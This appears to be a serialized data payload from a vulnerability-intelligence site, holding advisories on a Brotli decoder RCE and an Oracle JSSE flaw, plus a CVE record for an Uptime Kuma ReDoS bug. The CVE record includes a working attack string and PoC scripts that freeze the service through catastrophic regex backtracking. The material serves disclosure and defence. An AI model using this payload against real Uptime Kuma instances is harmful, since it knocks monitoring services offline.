[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-26042":30,"landing-articles":69},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":43,"references":45,"score":54,"epss_score":55,"epss_percentile":56,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":57,"attack_mappings":67,"exploits":68},95968,"CVE-2025-26042","EUVD-2025-6495","Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking\n\n### Summary\nThere is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.\n\n### Details\nThe regular expression` \\\u002F*$\\` is used to match zero or more slashes `\u002F` at the end of a URL. When a malicious attack string appends a large number of slashes `\u002F` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.\n```js\n.replace(\u002F\\\u002F*$\u002F, \"\")\n```\nFor the regular expression `\u002F\\\u002F*$\u002F`, an attack string like \n```javascript\n\"https:\u002F\u002Fe\" + \"\u002F\".repeat(100000) + \"@\" \n```\ncan trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.\n> When entered from the web interface, the attack string needs to expand `\"\u002F\".repeat(100000)` and be input directly, such as `https:\u002F\u002Fe\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F..\u002F\u002F@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.\n\n### PoC\nThe poc.js is in: \nhttps:\u002F\u002Fgist.github.com\u002FShiyuBanzhou\u002F26c918f93b07f5ce90e8f7000d29c7a0\nThe time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:\n```javascript\nconst semver = require(\"semver\");\nlet test;\nconst nodeVersion = process.versions.node;\nif (semver.satisfies(nodeVersion, \">= 18\")) {\n    test = require(\"node:test\");\n} else {\n    test = require(\"test\");\n}\nconst PushDeer = require(\"..\u002F..\u002Fserver\u002Fnotification-providers\u002Fpushdeer.js\");\n\nconst assert = require(\"node:assert\");\n\ntest(\"Test ReDos - attack string\", async (t) => {\n    const pushDeer = new PushDeer();\n    const notification = {\n        pushdeerServer: \"https:\u002F\u002Fe\" + \"\u002F\".repeat(100000) + \"@\",\n    };\n    const msg = \"Test Attacking\";\n    const startTime = performance.now();\n    try {\n        pushDeer.send(notification, msg)\n    } catch (error) {\n    \u002F\u002F pass\n    }\n    const endTime = performance.now();\n    const elapsedTime = endTime - startTime;\n    const reDosThreshold = 2000;\n    assert(elapsedTime \u003C= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);\n});\n```\n> Move the `test-uptime-calculator.js` file to the `.\u002Fuptime-kuma\u002Ftest\u002Fbackend-test` folder and run `npm run test-backend` to execute the backend tests.\n\nTrigger conditions for whapi jams, In the send function within the `uptime-kuma\\server\\notification-providers\\pushdeer.js` file:\nhttps:\u002F\u002Fgist.github.com\u002FShiyuBanzhou\u002Fbf4cee61603e152c114fa8c4791f9f28\n```js\n\u002F\u002F The attack string \"httpS:\u002F\u002Fexample\" + \"\u002F\".repeat(100000) + \"@\"\n\u002F\u002F poc.js\n\u002F\u002F Import the target file\nconst Whapi = require(\".\u002Fuptime-kuma\u002Fserver\u002Fnotification-providers\u002Fwhapi\");\n\n\u002F\u002F Create an instance of Whapi\nconst whapi = new Whapi();\n\nconst notification = {\n    whapiApiUrl: \"https:\u002F\u002Fe\" + \"\u002F\".repeat(100000) + \"@\",\n};\n\u002F\u002F console.log(`${notification.whapiApiUrl}`);\n\u002F\u002F Define the message to be sent\nconst msg = \"Test Attacking\";\n\n\u002F\u002F Call the send method and handle exceptions\nwhapi.send(notification, msg)\n\n\u002F\u002F 1-5 are the original installation methods for the project\n\u002F\u002F 6-8 are attack methods\n\u002F\u002F ---\n\u002F\u002F 1.run `git clone https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma.git`\n\u002F\u002F 2.run `cd uptime-kuma`\n\u002F\u002F 3.run `npm run setup`\n\u002F\u002F 4.run `npm install pm2 -g && pm2 install pm2-logrotate`\n\u002F\u002F 5.run `pm2 start server\u002Fserver.js --name uptime-kuma`\n\u002F\u002F ---\n\u002F\u002F 6.Run npm install in the root directory of the same level as `README.md`\n\u002F\u002F 7.Move `poc.js` to the root directory of the same level as `README.md`\n\u002F\u002F 8.and then run `node poc.js`\n```\n\nAfter running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.\n\u003Cimg width=\"760\" alt=\"redos\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F98f18fee-7555-410e-98c8-763906843812\" \u002F>\n\nYou can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `\u002F` to the URL, followed by a `non-\u002F` character at the end, entered directly.\n\n\u003Cimg width=\"1280\" alt=\"1\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F61945200-4397-4933-9170-2a5517613408\" \u002F>\n\u003Cimg width=\"1280\" alt=\"webserver\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fc0d7e952-0ec1-4c54-ba31-8b7144c04669\" \u002F>\n\n### Impact\n**What kind of vulnerability is it?**\n\nThis is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.\n\n**Who is impacted?**\n1. **Uptime Kuma users**:\nAny users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.\n\n2. **Web services and hosting providers**:\nIf Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`.\n\n### Solution\n@louislam I have provided a solution for you to check:https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma\u002Fpull\u002F5573","2025-03-31T16:12:00Z",{},false,[39],"CWE-1333",[41,42],"cpe:2.3:a:uptime-kuma:uptime-kuma:1.23.16:*:*:*:*:*:*:*","cpe:2.3:a:uptime-kuma:uptime-kuma:*:*:*:*:*:*:*:*",[44],"Uptime-Kuma Uptime-Kuma",[46,47,48,49,50,51,52,53],"https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma\u002Fcommit\u002F7a9191761dbef6551c2a0aa6eed5f693ba48d688","https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma\u002Fissues\u002F5574","https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma\u002Fpull\u002F5573","https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma\u002Fsecurity\u002Fadvisories\u002FGHSA-hx7h-9vf7-5xhg","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-26042","https:\u002F\u002Fgist.github.com\u002FShiyuBanzhou\u002F26c918f93b07f5ce90e8f7000d29c7a0","https:\u002F\u002Fgist.github.com\u002FShiyuBanzhou\u002Fbf4cee61603e152c114fa8c4791f9f28","https:\u002F\u002Fgithub.com\u002Flouislam\u002Fuptime-kuma",0,0.00397,0.33608,{"timestamp":58,"automatable":59,"tech_impact":60,"exploitation":61,"cisa_decision":62,"cisa_remediation_timeline":66},"2025-03-19T15:01:00.614153Z","no","partial","poc",{"vector":63,"decision":64,"priority":65},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T09:13:35.826718\u002F","track_star","medium","60D",[],[],{"count":70,"next":71,"previous":6,"results":72},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[73,81,89],{"id":74,"title":75,"summary":76,"published_at":77,"type":78,"link":79,"image_url":80},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":82,"title":83,"summary":84,"published_at":85,"type":86,"link":87,"image_url":88},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":90,"title":91,"summary":92,"published_at":93,"type":94,"link":95,"image_url":96},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]